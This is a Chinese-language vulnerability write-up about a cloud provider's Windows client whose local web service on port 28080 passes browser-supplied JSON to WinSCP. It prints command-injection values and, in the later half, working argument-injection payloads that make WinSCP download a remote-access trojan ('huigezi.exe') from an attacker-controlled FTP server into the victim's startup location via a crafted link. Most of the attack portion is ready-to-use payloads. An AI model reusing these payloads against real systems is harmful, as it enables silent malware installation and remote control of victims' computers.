本文转自脉搏战略合作伙伴先知技术社区 原帖地址 原作者: forever80s 安全脉搏编辑Joey整理发布
最近测试是国内某知名云服务器供应商,本豪研究一天云客户端找了个命令执行,所以写出来分享一下心得。这里不是二进制溢出方面的,而是通过web相关的漏洞利用的。各位看官可能好奇,通过web类型都漏洞让客户端执行命令???
访问云主机管理地址,下载一个50多兆得客户端。
因为我测试主机ip地址是随便写的,所以这里提示网络异常。那么这时候看发送的数据包
大家看到是通过浏览器向本地127.0.0.1:28080地址发送http数据包来和客户端通信。
我们用反rootkit工具查看本地得网络端口
看到客户端rest-server监听固定的端口28080,当发来文件传输的指令都时候就调用WinSCP。WinSCP是一个Windows环境下使用SSH的开源图形化SFTP客户端。同时支持SCP协议。它的主要功能就是在本地与远程计算机间安全的复制文件。
详细用法可参考
http://baike.baidu.com/link?url=7jy7OfpC9le0uRFUbS0bKwsgZSkwYoYX1-MlO1QQwYJtQuTbR3tD4XoITcsckeVQGMCQoNVVNN8ODaOIfzgYNq
注意到客户端安装目录有一个error.log文件,打开看一下
通过日志信息我们可以得出本地监听28080端口的web服务是jetty二次开发的,最后一行
WinSCP.exe [email protected]@89#340:MD5#[email protected]:22222
使我们点击文件传输后浏览器向本地客户端发送指令,然后客户端执行的功能
后边一串是该主机都配置字符串。注意到日志里exec:字符串,那么客户端通过jetty里执行java然后调用winscp。
注意指令数据包:
GET /connector/json?data=eyd0eXBlJzonc2NwJywndXNlcm5hbWUnOicxMzA3ODA2NjA1NEAxMjcuMC4wLjFAODkjMzQwJywncGFzc3dvcmQnOidNRDUjN2RkNzVjNTVjMGYzYTg0OTY5Y2FjYzVmY2RiYmQ5ODAnLCdzZXJ2ZXInOicxMjMuNTkuNTMuMjAnLCdwb3J0JzonMjIyMjInLCd3aWR0aCc6JzEzNjYnLCdoZWlnaHQnOic3NjgnfQ==&jsoncallback=jQuery111205498347991109811_1464068504557&_=1464068504558 HTTP/1.1 Host: 127.0.0.1:28080 Accept: */* User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36 DNT: 1 Referer: http://123.59.53.20/server Accept-Encoding: gzip, deflate, sdch Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4
参数data是base64编码解码一下:
{'type':'scp','username':'[email protected]@89#340',
'password':'MD5#7dd75c55c0f3a84969cacc5fcdbbd980',
'server':'123.59.53.20','port':'22222',
'width':'1366','height':'768'}
那么error.log里的执行的
[email protected]@89#340:MD5#[email protected]:22222
是通过这个json数据传递过去的。
我们替换成如下
{'type':'scp',
'username':'"|[email protected]@89#340',
'password':'MD5#7dd75c55c0f3a84969cacc5fcdbbd980',
'server':'123.59.53.20',
'port':'22222',
'width':'1366','height':'768'}
Base64编码后再次发送 查看error.log,看到改后的参数成功传入 可见用户名处可以引入脏数据。那么我们尝试命令注入,执行ipconfig执行结果重定向到c:\ff
{'type':'scp','username':'ipconfig>c:\\ff&&[email protected]@89#340','password':'MD5#7dd75c55c0f3a84969cacc5fcdbbd980','server':'123.59.53.20','port':'22222','width':'1366','height':'768'}
看error.log
从命令行语法都角度已经完美执行了。但是C盘并没有ff文件。
Java 执行执行命令一般用runtime ,代码如下
我们尝试执行ipconfig&&ping -n 1 localhost
成功报错
那么java通过这种方法执行命令无论怎样都不能注入命令,原因是该函数对特殊字符有处理。
(4)绕过双引号进行参数注入
命令不能直接注入了,顿时很失落,毕竟研究了那么久,再看看说不定有奇迹呢。
把注意力转移到了winscp上,我们能否控制一些参数达到自己都目的呢。尝试引入参数开关/a -b,大家知道参数一般是这样传递的。
提交如下数据
{'type':'scp','username':'/a -b [email protected]@89#340','password':'MD5#7dd75c55c0f3a84969cacc5fcdbbd980','server':'123.59.53.20','port':'22222','width':'1366','height':'768'}&jsoncallback=jQuery111205498347991109811_1464068504557
我们看error.log
看到加了这2个开关后参数winscp的参数又多了个双引号,大家知道双引号括起来就变成一个参数了,这下引入都开关不起作用了。经过反复fuzz,发现用tab替代空格后台程序就不会加双引号了。
一般情况下大家都是用winscp的图形界面操作进行ssh文件传输都,其实它还有一些更高级都功能在命令行里。研读了winscp手册,其中https://winscp.net/eng/docs/guide_automation 自动化模块阐述了,其可以执行script,script就是一些操作命令放到一个文件里。如myscript.txt
# Connect to SFTP server using a password open sftp://user:[email protected]/ -hostkey="ssh-rsa 2048 xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx" # Upload file put d:\examplefile.txt /home/user/ # Exit WinSCP Exit
上边的script是把本地d:\examplefile.txt文件复制到远端服务器example.com的/home/user/目录下
执行winscp.com /script=myscript.txt即可。
那么可以通过command 参数指定 script 内容在命令行,用引号括起来每行。
/command "option confirm off" "open root:[email protected]" "put c:\\1.txt /tmp/winscp.txt" "exit"
上,到这里我的利用思路是利用winscp注入都参数,复制我们ssh服务上的远控木马(灰鸽子)到本地开机启动项里,目标点击我提供都链接,或者利用插入图片都地方插入攻击链接,木马写入其pc自启动项里,下次开机植入远控。
首先尝试scp协议,因为scp是winscp最本土的协议。发送如下payload
{'type':'scp','username':'/command "open root:[email protected]" "put c:\\1.txt" "exit" /log=scp2.log [email protected]@23#283','password':'MD5#7dd75c55c0f3a84969cacc5fcdbbd980','server':'123.59.53.20','port':'22222','width':'1920','height':'1080'}
其中192.168.217.129是我放远控木马的ssh服务器,空格用tab代替。我们加了一个log参数,看客户端安装目录下winscp的log文件scp2.log
说hostkey 未验证。
查了很多资料发下如下payload可以成功通过scp协议下载文件
"option confirm off" "open root:[email protected] -hostkey=""ssh-rsa 2048 ea:9f:86:e4:5f:56:c6:97:78:9d:4c:c6:ee:c3:20:bc""" "put c:\\1.txt /tmp/winscp.txt" "exit" /log=scp4.log
这时候可以复制文件,测试时候换了一台电脑,然后再次用这个payload都时候发现hostkey又变了。查了资料说hostkey会因为重启系统和其他原因变化
https://support.ssh.com/manuals/server-zos-admin/55/Defining_Server_Host_Key.html
所以这种方法不可靠。Hostkey变了,就得去修改payload。
因为winscp还支持ftp,其他都如sftp等都是通过ssl加密的,这里找明文协议。
那么我们启动一个ftp服务器作为payload 服务器,通过python自带的pyftp库,启动ftp都时候当前目录下有个1.exe,是灰鸽子被控端。
通过如下poc payload可以把远程ftp 文件下载到本地。
{'type':'scp','username':'/command "open ftp://anonymous:[email protected]" "get 1.exe C:\\huigezi.exe" "exit" /log=scp4.log [email protected]@23#283','password':'MD5#7dd75c55c0f3a84969cacc5fcdbbd980','server':'123.59.53.20','port':'22222','width':'1920','height':'1080'}
xxxx.iok.las是自己的域名
构造好html文件
放到自己web服务器上
目标访问改地址,这时候winscp在后台悄无声息地下载文件
实际利用当中我们将木马软件下载到开机启动目录里或直接覆盖掉其他exe文件,达到执行的目的。
到这里算完美利用了。这个漏洞总结一句话就是“参数注入,下载恶意程序到指定目录实现自启动”,利用原理类似get型csrf。
另有不周到的地方多多指教。